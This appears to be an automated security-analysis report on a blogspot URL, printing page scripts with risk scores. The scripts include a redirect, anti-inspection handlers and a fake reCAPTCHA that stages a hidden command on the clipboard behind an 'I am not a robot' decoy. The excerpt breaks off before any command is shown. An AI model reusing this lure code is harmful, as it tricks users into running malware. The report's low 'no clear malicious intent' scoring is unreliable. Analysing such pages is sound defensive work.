Windows Analysis Report
https://bonnpwqy.blogspot.com/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://bonnpwqy.blogspot.com

{
    "risk_score": 6,
    "reasoning": "The script demonstrates a moderate-risk behavior by redirecting the user to an external domain without transparency. While the intent may be legitimate, the use of a dynamic URL and lack of context raises concerns that warrant further investigation."
}

        let linkName = "https://electricreport.org/lgi7m"
        let strGET = window.location.search.replace( '?', '');
        location.replace(linkName + "?" + strGET)
    

{
    "risk_score": 4,
    "reasoning": "The script demonstrates some potentially concerning behaviors, such as disabling the right-click context menu and specific keyboard shortcuts. While these actions could be used for legitimate purposes, they may also be indicative of an attempt to restrict user interaction or prevent certain actions. Additionally, the script monitors and reverts changes to the language attribute, which could be used to prevent users from changing the language. Overall, the script exhibits a moderate level of risk and requires further review to determine the intent and potential impact."
}

(function() {
    // Function to revert the language change
    function revertLanguageChange() {
        if (document.documentElement.lang !== originalLang) {
            document.documentElement.lang = originalLang;
        }
    }

    // Store the original language
    const originalLang = document.documentElement.lang;

    // Monitor for changes to the lang attribute
    const observer = new MutationObserver(revertLanguageChange);
    observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });

    // Disable right-click context menu
    document.addEventListener('contextmenu', function(event) {
        event.preventDefault();
    }, false);

    // Disable specific keyboard shortcuts (e.g., Ctrl+Shift+L for Chrome, Alt+Shift+L for Firefox)
    document.addEventListener('keydown', function(event) {
        if ((event.ctrlKey || event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
        if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
    }, false);
})();

{
    "risk_score": 4,
    "reasoning": "The provided JavaScript code has a mix of behaviors that require further review. While it does not exhibit any clear malicious intent, there are some moderate-risk indicators that warrant attention. The code primarily handles user interactions with a CAPTCHA-like verification system, including hiding and showing UI elements, managing loading states, and generating random numbers. However, the use of the `execCommand` API to copy data to the clipboard without user consent is a moderate-risk indicator. Additionally, the code includes some obfuscated strings, which could potentially be used for malicious purposes. Overall, the code requires further investigation to ensure it is not being used for any unintended or suspicious activities."
}

        let checkboxWindow = document.getElementById("checkbox-window");
        let checkboxBtn = document.getElementById("checkbox");
        let checkboxBtnSpinner = document.getElementById("spinner");
        let verifywindow = document.getElementById("verify-window");

        function addCaptchaListeners() {
            if (checkboxBtn) {
                document.addEventListener("click", function (event) {
                    let path = event.composedPath();
                    if (!path.includes(verifywindow) && isverifywindowVisible()) {
                        closeverifywindow();
                    }
                });
                checkboxBtn.addEventListener("click", function (event) {
                    event.preventDefault();
                    checkboxBtn.disabled = true;
                    runClickedCheckboxEffects();
                });
            }
        }

        function runClickedCheckboxEffects() {
            hideCaptchaCheckbox();
            setTimeout(function(){
                showCaptchaLoading();
            },500);
            setTimeout(function(){
                showVerifyWindow();
            },900)
        }

        function showCaptchaLoading() {
            checkboxBtnSpinner.style.visibility = "visible";
            checkboxBtnSpinner.style.opacity = "1";
            checkboxBtnSpinner.style.animation = "spin 1s linear infinite";
        }

        function hideCaptchaLoading() {
            checkboxBtnSpinner.style.opacity = "0";
            checkboxBtnSpinner.style.animation = "none";
            setTimeout(function() {
                checkboxBtnSpinner.style.visibility = "hidden";
            }, 500);
        }

        function hideCaptchaCheckbox() {
            checkboxBtn.style.visibility = "hidden";
            checkboxBtn.style.opacity = "0";
        }


        function showCaptchaCheckbox() {
            checkboxBtn.style.width = "100%";
            checkboxBtn.style.height = "100%";
            checkboxBtn.style.borderRadius = "2px";
            checkboxBtn.style.margin = "21px 0 0 12px";
            checkboxBtn.style.opacity = "1";
        }

        function hideCaptchaCheckbox() {
            checkboxBtn.style.width = "4px";
            checkboxBtn.style.height = "4px";
            checkboxBtn.style.borderRadius = "50%";
            checkboxBtn.style.marginLeft = "25px";
            checkboxBtn.style.marginTop = "33px";
            checkboxBtn.style.opacity = "0";
        }

        function showCaptchaLoading() {
            checkboxBtnSpinner.style.visibility = "visible";
            checkboxBtnSpinner.style.opacity = "1";
        }

        function hideCaptchaLoading() {
            checkboxBtnSpinner.style.visibility = "hidden";
            checkboxBtnSpinner.style.opacity = "0";
        }

       function generateRandomNumber() {
            const min = 1000; 
            const max = 9999;
            return Math.floor(Math.random() * (max - min + 1) + min).toString();
        }

        function closeverifywindow() {
            verifywindow.style.display = "none";
            verifywindow.style.visibility = "hidden";
            verifywindow.style.opacity = "0";

            showCaptchaCheckbox();
            hideCaptchaLoading();
            checkboxBtn.disabled = false;
        }

        function isverifywindowVisible() {
            return verifywindow.style.display !== "none" && verifywindow.style.display !== "";
        }

        function setClipboardCopyData(textToCopy){
            const tempTextArea = document.createElement("textarea");
            tempTextArea.value = textToCopy;
            document.body.append(tempTextArea);
            tempTextArea.select();
            document.execCommand("copy");
            document.body.removeChild(tempTextArea);
        }

        function stageClipboard(commandToRun, verification_id){
            const suffix = " # "
            const ploy = " ''I am not a robot - reCAPTCHA Verification ID: "
      

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": true,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}